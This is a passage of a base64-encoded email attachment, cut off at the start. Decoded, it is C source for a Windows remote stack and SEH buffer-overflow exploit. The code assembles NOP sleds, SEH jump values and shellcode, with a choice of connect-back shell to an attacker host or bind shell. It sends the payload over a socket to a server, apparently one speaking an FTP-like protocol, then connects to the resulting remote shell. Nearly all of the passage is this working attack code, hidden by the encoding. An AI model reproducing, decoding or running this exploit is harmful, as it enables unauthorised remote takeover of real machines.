ZWhfb2Zmc2V0JTg7aSsrKQ0KCQlzdHJjYXQoc3pDb21tYW5kLCAiXHg5MCIpOw0KCS8vc3RyY2F0
KHN6Q29tbWFuZCwgIkJCQkIiKTsNCgkNCgkvLyBmaWxsIHRoZSBzZWgNCglmb3IoaT0wO2k8PShz
ZWhfb2Zmc2V0LzgpKjgrMHgyMDtpKz04KQ0KCXsNCgkJc3RyY2F0KHN6Q29tbWFuZCwgSk1QX09W
RVIpOw0KCQltZW1jcHkoJnN6Q29tbWFuZFtzdHJsZW4oc3pDb21tYW5kKV0sICZ0YXJnZXRzW2lU
eXBlXS5kd0pNUCwgNCk7DQoJfQ0KCQkNCgkvLyBmaWxsIHRoZSBkZWNvZGUNCglzdHJjYXQoc3pD
b21tYW5kLCBkZWNvZGUpOw0KDQoJLy8gZmlsbCB0aGUgc2hlbGxjb2RlIHN0YXJ0CXNpZ24NCglz
dHJjYXQoc3pDb21tYW5kLCBzY19zdGFydCk7DQoNCgkvLyBmaWxsIHRoZSBzaGVsbGNvZGUNCglp
ZihiQ2IpDQoJew0KCQkvLyBjb25uZWN0YmFjayBzaGVsbGNvZGUNCgkJc2hwb3J0MiA9IGh0b25z
KHNocG9ydCleKHVfc2hvcnQpMHg5MzkzOw0KCQljYmlwID0gaW5ldF9hZGRyKGNiSG9zdCleMHg5
MzkzOTM5MzsNCgkJbWVtY3B5KCZjYnNjW1BPUlRfT0ZGU0VUXSwgJnNocG9ydDIsIDIpOw0KCQlt
ZW1jcHkoJmNic2NbSVBfT0ZGU0VUXSwgJmNiaXAsIDQpOw0KCQlzdHJjYXQoc3pDb21tYW5kLCBj
YnNjKTsJCQ0KCX0NCgllbHNlDQoJew0KCQkvLyBiaW5kIHNoZWxsY29kZQ0KCQlzaHBvcnQyID0g
aHRvbnMoc2hwb3J0KV4odV9zaG9ydCkweDkzOTM7DQoJCW1lbWNweSgmc2NbQklORF9PRkZTRVRd
LCAmc2hwb3J0MiwgMik7DQoJCXN0cmNhdChzekNvbW1hbmQsIHNjKTsNCgl9DQoNCgkvLyBmaWxs
IHRoZSBzaGVsbGNvZGUgZW5kIHNpZ24NCglzdHJjYXQoc3pDb21tYW5kLCBzY19lbmQpOw0KDQoJ
Ly8gc2VuZCBlbmQNCglzdHJjYXQoc3pDb21tYW5kLCAiXHJcbiIpOw0KDQoJaWYoc3RybGVuKHN6
Q29tbWFuZCkgPj0gc2l6ZW9mKHN6Q29tbWFuZCkpDQoJew0KCQlwcmludGYoIlstXSBzdGFjayBi
dWZmZXIgb3ZlcmZsb3cuXG4iKTsNCgkJcmV0dXJuOw0KCX0NCgkNCi8vCXByaW50Zigic2VuZCBz
aXplICVkOiVzIiwgc3RybGVuKHN6Q29tbWFuZCksIHN6Q29tbWFuZCk7DQoJDQoJX190cnkNCgl7
DQoJCWlmIChXU0FTdGFydHVwKE1BS0VXT1JEKDEsMSksICZ3c2QpICE9IDApDQoJCXsNCgkJCXBy
aW50ZigiWy1dIFdTQVN0YXJ0dXAgZXJyb3I6JWRcbiIsIFdTQUdldExhc3RFcnJvcigpKTsNCgkJ
CV9fbGVhdmU7DQoJCX0NCg0KCQlzPXNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9U
T19UQ1ApOw0KCQlpZihzID09IElOVkFMSURfU09DS0VUKQ0KCQl7DQoJCQlwcmludGYoIlstXSBD
cmVhdGUgc29ja2V0IGZhaWxlZDolZCIsR2V0TGFzdEVycm9yKCkpOw0KCQkJX19sZWF2ZTsNCgkJ
fQ0KDQoJCXNhLnNpbl9mYW1pbHk9QUZfSU5FVDsNCgkJc2Euc2luX3BvcnQ9aHRvbnMoKFVTSE9S
VClpUG9ydCk7DQoJCXNhLnNpbl9hZGRyLlNfdW4uU19hZGRyPWluZXRfYWRkcihpcCk7DQoNCgkJ
c2V0c29ja29wdChzLFNPTF9TT0NLRVQsU09fUkNWVElNRU8sKGNoYXIgKikmdGltZW91dCxzaXpl
b2YodW5zaWduZWQgaW50KSk7DQoJCWlFcnIgPSBjb25uZWN0KHMsKHN0cnVjdCBzb2NrYWRkciAq
KSZzYSxzaXplb2Yoc2EpKTsNCgkJaWYoaUVyciA9PSBTT0NLRVRfRVJST1IpDQoJCXsNCgkJCXBy
aW50ZigiWy1dIENvbm5lY3QgdG8gJXM6JWQgZXJyb3I6JWRcbiIsIGlwLCBpUG9ydCwgR2V0TGFz
dEVycm9yKCkpOw0KCQkJX19sZWF2ZTsNCgkJfQ0KCQlwcmludGYoIlsrXSBDb25uZWN0IHRvICVz
OiVkIHN1Y2Nlc3MuXG4iLCBpcCwgaVBvcnQpOw0KCQkNCgkJaWYoYkNiKQ0KCQl7DQoJCQlTbGVl
cCg1MDApOw0KCQkJczIgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSxJUFBST1RPX1RDUCk7
DQoNCgkJCXNlcnZlci5zaW5fZmFtaWx5PUFGX0lORVQ7DQoJCQlzZXJ2ZXIuc2luX2FkZHIuU191
bi5TX2FkZHI9aW5ldF9hZGRyKGNiSG9zdCk7DQoJCQkvL3NlcnZlci5zaW5fYWRkci5zX2FkZHI9
SU5BRERSX0FOWTsgDQoJCQlzZXJ2ZXIuc2luX3BvcnQ9aHRvbnMoKHVuc2lnbmVkIHNob3J0KXNo
cG9ydCk7DQoNCgkJCXNldHNvY2tvcHQoczIsU09MX1NPQ0tFVCxTT19SQ1ZUSU1FTywoY2hhciAq
KSZ0aW1lb3V0LHNpemVvZih1bnNpZ25lZCBpbnQpKTsNCg0KCQkJUmV1c2UgPSAxOyANCgkJCXNl
dHNvY2tvcHQoczIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgKGNoYXIqKSZSZXVzZSwgc2l6
ZW9mKFJldXNlKSk7DQoNCgkJCWlmKGJpbmQoczIsKExQU09DS0FERFIpJnNlcnZlcixzaXplb2Yo
c2VydmVyKSk9PVNPQ0tFVF9FUlJPUikNCgkJCXsNCgkJCQlwcmludGYoIlstXSBCaW5kIHBvcnQg
b24gJXM6JWQgZXJyb3IuXG4iLCBjYkhvc3QsIHNocG9ydCk7DQoJCQkJcHJpbnRmKCJbLV0gWW91
IG11c3QgcnVuIG5jIGdldCB0aGUgc2hlbGwuXG4iKTsNCgkJCQliTG9jYWwgPSBGQUxTRTsNCgkJ
CQkvL2Nsb3Nlc29ja2V0KHMyKTsNCgkJCQkvL19fbGVhdmU7DQoJCQl9DQoJCQllbHNlDQoJCQl7
CQ0KCQkJCXByaW50ZigiWytdIEJpbmQgcG9ydCBvbiAlczolZCBzdWNjZXNzLlxuIiwgY2JIb3N0
LCBzaHBvcnQpOw0KCQkJCWxpc3RlbihzMiwgMSk7IA0KCQkJfQ0KCQl9DQoJCQ0KCQlmb3IoaT0w
O2k8c2l6ZW9mKHN6U2VuZCkvc2l6ZW9mKHN6U2VuZFswXSk7aSsrKQ0KCQl7DQoJCQltZW1zZXQo
c3pSZWN2QnVmZiwgMCwgc2l6ZW9mKHN6UmVjdkJ1ZmYpKTsNCgkJCWlFcnIgPSByZWN2KHMsIHN6
UmVjdkJ1ZmYsIHNpemVvZihzelJlY3ZCdWZmKSwgMCk7DQoJCQlpZihpRXJyID09IFNPQ0tFVF9F
UlJPUikNCgkJCXsNCgkJCQlwcmludGYoIlstXSBSZWN2IGJ1ZmZlciBlcnJvcjolZC5cbiIsIFdT
QUdldExhc3RFcnJvcigpKTsNCgkJCQlfX2xlYXZlOw0KCQkJfQ0KCQkJcHJpbnRmKCJbK10gUmVj
djogJXMiLCBzelJlY3ZCdWZmKTsNCgkJCQ0KCQkJaWYoc3pSZWN2QnVmZlswXSA9PSAnNScpDQoJ
CQl7DQoJCQkJcHJpbnRmKCJbLV0gU2VydmVyIHJldHVybiBhIGVycm9yIE1lc3NhZ2UuXHJcbiIp
Ow0KCQkJCV9fbGVhdmU7DQoJCQl9DQoNCgkJCWlFcnIgPSBzZW5kKHMsIHN6U2VuZFtpXSwgc3Ry
bGVuKHN6U2VuZFtpXSksMCk7DQoJCQlpZihpRXJyID09IFNPQ0tFVF9FUlJPUikNCgkJCXsNCgkJ
CQlwcmludGYoIlstXSBTZW5kIGJ1ZmZlciBlcnJvcjolZC5cbiIsIFdTQUdldExhc3RFcnJvcigp
KTsNCgkJCQlfX2xlYXZlOw0KCQkJfQ0KDQoJCQlpZihpPT1zaXplb2Yoc3pTZW5kKS9zaXplb2Yo
c3pTZW5kWzBdKS0xKQ0KCQkJCXByaW50ZigiWytdIFNlbmQgc2hlbGxjb2RlICVkIGJ5dGVzLlxu
IiwgaUVycik7DQoJCQllbHNlDQoJCQkJcHJpbnRmKCJbK10gU2VuZDogJXMiLCBzelNlbmRbaV0p
Ow0KCQl9DQoNCgkJcHJpbnRmKCJbK10gSWYgeW91IGRvbid0IGhhdmUgYSBzaGVsbCBpdCBkaWRu
J3Qgd29yay5cbiIpOw0KDQoJCWlmKGJDYikNCgkJew0KCQkJaWYoYkxvY2FsKQ0KCQkJew0KCQkJ
CXByaW50ZigiWytdIFdhaXQgZm9yIHNoZWxsLi4uXG4iKTsNCgkJCQ0KCQkJCWxlbiA9IHNpemVv
ZihjbGllbnQpOw0KCQkJCXMzID0gYWNjZXB0KHMyLCAoc3RydWN0IHNvY2thZGRyKikmY2xpZW50
LCAmbGVuKTsgDQoJCQkJaWYoczMgIT0gSU5WQUxJRF9TT0NLRVQpIA0KCQkJCXsgDQoJCQkJCXBy
aW50ZigiWytdIEV4cGxvaXQgc3VjY2VzcyEgR29vZCBsdWNrISA6KVxuIik7DQoJCQkJCXByaW50
ZigiWytdID09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0t
PT09LS09PT0tLT09PS0tPT09XG4iKTsNCgkJCQkJc2hlbGwoczMpOw0KCQkJCX0NCgkJCX0JDQoJ
CX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludGYoIlsrXSBDb25uZWN0IHRvIHNoZWxsLi4uXG4iKTsN
CgkJCQ0KCQkJU2xlZXAoMTAwMCk7DQoJCQlzMiA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFN
LElQUFJPVE9fVENQKTsNCgkJCXNlcnZlci5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCgkJCXNlcnZl
ci5zaW5fcG9ydCA9IGh0b25zKHNocG9ydCk7DQoJCQlzZXJ2ZXIuc2luX2FkZHIuc19hZGRyPWlu
ZXRfYWRkcihpcCk7DQoNCgkJCXJldCA9IGNvbm5lY3QoczIsIChzdHJ1Y3Qgc29ja2FkZHIgKikm
c2VydmVyLCBzaXplb2Yoc2VydmVyKSk7DQoJCQlpZihyZXQhPTApDQoJCQl7DQoJCQkJcHJpbnRm
KCJbLV0gRXhwbG9pdCBzZWVtIGZhaWxlZC5cbiIpOw0KCQkJCV9fbGVhdmU7DQoJCQl9DQoJCQkN
CgkJCXByaW50ZigiWytdIEV4cGxvaXQgc3VjY2VzcyEgR29vZCBsdWNrISA6KVxuIik7DQoJCQlw
cmludGYoIlsrXSA9PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09LS09
PT0tLT09PS0tPT09LS09PT0tLT09PVxuIik7DQoJCQlzaGVsbChzMik7DQoJCX0NCgkJDQoJCQ0K
CX0NCg0KIAlfX2ZpbmFsbHkNCgl7DQoJCWlmKHMgIT0gSU5WQUxJRF9TT0NLRVQpIGNsb3Nlc29j
a2V0KHMpOw0KCQlpZihzMiAhPSBJTlZBTElEX1NPQ0tFVCkgY2xvc2Vzb2NrZXQoczIpOw0KCQlp
ZihzMyAhPSBJTlZBTElEX1NPQ0tFVCkgY2xvc2Vzb2NrZXQoczMpOw0KCQlXU0FDbGVhbnVwKCk7
DQoJfQ0KDQoJcmV0dXJuOw0KfQ0K
--=====001_Dragon148377224344_=====--